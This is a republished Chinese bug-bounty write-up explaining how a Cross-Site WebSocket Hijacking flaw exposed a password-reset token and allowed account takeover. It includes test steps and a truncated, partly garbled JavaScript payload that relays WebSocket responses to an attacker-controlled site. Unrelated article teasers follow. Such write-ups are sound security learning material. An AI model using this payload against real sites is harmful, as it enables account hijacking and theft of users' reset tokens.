url存在寬字節跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帳戶

0dcb43508dd7bdbd8c96d27ae8c969c3.png

在一次漏洞懸賞活動中,我發現了一個使用WebSocket連接的應用,所以我檢查了WebSocket URL,發現它很容易受到CSWH的攻擊(WebSocket跨站劫持)

有關CSWH的更多詳細信息,可以訪問以下鏈接了解

https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html

首先,我們假設一個應用是通過以下URL建立websocket連接的 wss://website.com。關于驗證URL是否存在CSWH漏洞可以遵循以下步驟:

  1. 在瀏覽器上打開Web應用并登錄。
  2. 在新選項卡中輸入http://websocket.org/echo.html,輸入WebSocket URL并單擊“連接”。
  3. 建立連接后,你必須能夠從此頁面向服務器發送數據幀。接著,使用burpsuite的proxy捕獲websocket數據幀進行調試,多次發送,查看服務器如何響應。如果burp的回應和網頁的回應一樣,則表示目標很可能容易受到WebSocket跨站劫持的攻擊
326df8f03980177ad9fea6a1f84dba5c.png

通過以上步驟,我確定應用存在CSWH漏洞。

一旦在新選項卡上建立了WebSocket連接,我就收到了下面的websocket響應

ede207c08e897be6a0b629657e71ae88.png

從上述響應中你可看到,參數“_forgotPasswordId”的值為“null”。

現在我需要“_forgotPasswordId”參數來發送惡意請求來重置密碼。

58f19ff24cc7a6a499541b0d89232ad9.png

我再次測試了Websocket連接,這次觀察到了如下回應,它包含一個forgetPasswordID令牌

07e4818cbd7c86372c4be5157d1dc8df.png

利用

現在準備CSWH漏洞的利用鏈,重置密碼接管帳戶。以下由HTML代碼組成的payload會發送XHR請求,并把回應導向攻擊者控制的站點。

 Testing var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket fr ame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) {var xhr = new xm lHttpRequest();xhr.open("POST

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/370242.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/370242.shtml
英文地址,請注明出處:http://en.pswp.cn/news/370242.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

php 數組對比 unset,如何區分PHP中unset,array_splice的區別

1.使用的函數a.函數unset()unset ( mixed $var , mixed $... ? ) : voidunset()銷毀指定的變量。b.函數array_slice()array_splice(array,start,length,array)array表示數組。start表示刪除元素的開始位置。length表示被移除的元素個數,也是被返回數組的長度。(可…

MapReduce算法–二級排序

我們將繼續進行有關實現MapReduce算法的系列文章,該系列可在使用MapReduce進行數據密集型文本處理中找到。 本系列的其他文章: 使用MapReduce進行數據密集型文本處理 使用MapReduce進行數據密集型文本處理-本地聚合第二部分 使用Hadoop計算共現矩陣 …

Redis 字符串(String)

Redis 字符串(String) Redis 字符串數據類型的相關命令用于管理 redis 字符串值,基本語法如下: 語法 redis 127.0.0.1:6379> COMMAND KEY_NAME 實例 redis 127.0.0.1:6379> SET runoobkey redis OK redis 127.0.0.1:6379> GET runoobkey "…

前端基礎-CSS的各種選擇器的特點以及CSS的三大特性

一、 基本選擇器二、 后代選擇器、子元素選擇器三、 兄弟選擇器四、 交集選擇器與并集選擇器五、 序列選擇器六、 屬性選擇器七、 偽類選擇器八、 偽元素選擇器九、 CSS三大特性 一、 基本選擇器 1、id選擇器 #1、作用:根據指定的id名稱,在當前界面中找…

Php流式 大文件,如何使用PHP解析XML大文件

如果使用 PHP 解析 XML 的話,那么常見的選擇有如下幾種:DOM、SimpleXML、XMLReader。如果要解析 XML 大文件的話,那么首先要排除的是 DOM,因為使用 DOM 的話,需要把整個文件全部加載才能解析,效率堪憂&…

python 白盒測試_白盒測試教程 - 顏麗的個人空間 - OSCHINA - 中文開源技術交流社區...

總共貼了39節,后續還有很長,共122節,文章名為‘白盒測試教程’1、白盒測試概念2、測試覆蓋標準3、邏輯驅動測試4、基本路徑測試白盒測試概念1、白盒測試也稱結構測試或邏輯驅動測試,是一種測試用例設計方法,它從程序的…

Oracle 分析函數及常用函數

什么叫分析函數(Analytic function)? Oracle從8.1.6開始提供分析函數,分析函數用于計算基于組的某種聚合值,它和聚合函數的不同之處是 對于每個組返回多行,而聚合函數對于每個組只返回一行。 基本語法 function_name(arg1,arg2,..…

ScanTailor-ScanTailor 強大的多方位的滿足處理掃描圖片的需求

ScanTailor 強大的多方位的滿足處理掃描圖片的需求ScanTailor 能做什么?批量或單張或選擇區間旋轉圖片自動切割頁面,同時提供手動選項自動識別圖像歪斜角度,同時提供手動選項自動識別正文內容裁剪,同時提供手動選項設置正文上下左…

使用JavaCV進行手和手指檢測

這篇文章是Andrew Davison博士發布的有關自然用戶界面(NUI)系列的一部分,內容涉及使用JavaCV從網絡攝像頭視頻提要中檢測手。 注意:可以從http://fivedots.coe.psu.ac.th/~ad/jg/nui055/下載本章的所有源代碼。 第5章的彩色斑點檢…

oracle+trace參數設置,Oracle autotrace參數詳解

SQL> set autotrace traceonly explainSP2-0613: 無法驗證 PLAN_TABLE 格式或實體cuug每周五晚8點都有免費網絡課程,如需了解可點擊cuug官網。SP2-0611: 啟用EXPLAIN報告時出錯解決方法:1. 以SYS用戶登錄CONNECT / as SYSDBA ;1. 創建PLAN_TABL…

git提交代碼到碼云

日常代碼一般提交到github比較多,但我還是鐘愛馬爸爸,沒錯就是碼云。 碼云是中文版的代碼托管的網站,不存在打開網速問題,使用也蠻方便的,日常自己保存托管代碼已經足夠,平時使用git提交代碼到碼云是非常方…

不能裝載文檔控件。請在檢查瀏覽器的選項中檢查瀏覽器的安全設置_【2020年網絡安全宣傳周】如何正確設置瀏覽器...

李夏是一個公司的職員,一天晚上加班趕制文檔,由于要向客戶匯報產品情況,需要獲取大量網上信息,然而在制作中卻發現瀏覽器的網頁打不開了。第二天原計劃向客戶展示的材料未能完整匯總,客戶見面對接效果也打了折扣。在當…

矩形碰撞檢測和圓形碰撞檢測。

矩形碰撞檢測&#xff1a; <!DOCTYPE html><html lang"en"><head><meta charset"UTF-8"><title>Document</title><style type"text/css">body { margin: 0;}#wrap { margin: 50px auto; position: re…

MonogoDB 查詢小結

MonogoDB是一種NoSQL數據庫 優點: 1.數據的存儲以json的文檔進行存儲(面向文檔存儲) 2.聚合框架查詢速度快 3.高效存儲二進制大對象 缺點: 1.不支持事務 2.文件存儲空間占用過大 案例學習 例1:單個變量查詢(查找出制造商字段為“Porsche”的所有汽車的查詢) {"layout"…

用裝飾器設計模式裝飾

裝飾圖案是廣泛使用的結構圖案之一。 此模式在運行時動態更改對象的功能&#xff0c;而不會影響對象的現有功能。 簡而言之&#xff0c;此模式通過包裝將附加功能添加到對象。 問題陳述&#xff1a; 想像一下我們有一個比薩餅&#xff0c;該比薩餅已經用番茄和奶酪烤制的情況。…

linux 內存強度測試軟件,linux下的CPU、內存、IO、網絡的壓力測試工具與方法介紹...

使用工具stressCentos# yum -y install stressUbantu# apt-get install stress# stress --helpstress imposes certain types of compute stress on your systemUsage: stress [OPTION [ARG]] ...-?, --help show this help statement--version show version statement-v, --v…

vcpkg安裝_微軟牌包管理器vcpkg更新及路線圖計劃

蝎子vcpkg是一套跨平臺&#xff0c;開源的C/C庫管理器&#xff0c;今天的這篇文章是有關vcpkg主題的2020年4月博文更新。在這篇文章中&#xff0c;我們將分享有關vcpkg 2020.04發布版本的一些信息以及vcpkg的路線圖(roadmap)&#xff0c;我們會在這里持續地發布有關vcpkg的最新…

CSS 盒模型與box-sizing

一、盒模型 一個web頁面由許多html元素組成&#xff0c;而每一個html元素都可以表示為一個矩形的盒子&#xff0c;CSS盒模型正是描述這些矩形盒子的存在。 MDN的描述&#xff1a; When laying out a document, the browsers rendering engine represents each element as a r…

Java課程設計 購物車系統(個人博客) 201521123052 藍錦明

1. 團隊課程設計博客鏈接 課程設計團隊博客 2. 個人負責模塊或任務說明 &#xff08;1&#xff09;制作圖形菜單引導界面 &#xff08;2&#xff09;定義各獲取和輸出類函數 3. 自己的代碼提交記錄截圖 4. 自己負責模塊或任務詳細說明 import java.text.NumberFormat; public c…

7-12(圖) 社交網絡圖中結點的“重要性”計算(30 分)

在社交網絡中&#xff0c;個人或單位&#xff08;結點&#xff09;之間通過某些關系&#xff08;邊&#xff09;聯系起來。他們受到這些關系的影響&#xff0c;這種影響可以理解為網絡中相互連接的結點之間蔓延的一種相互作用&#xff0c;可以增強也可以減弱。而結點根據其所處…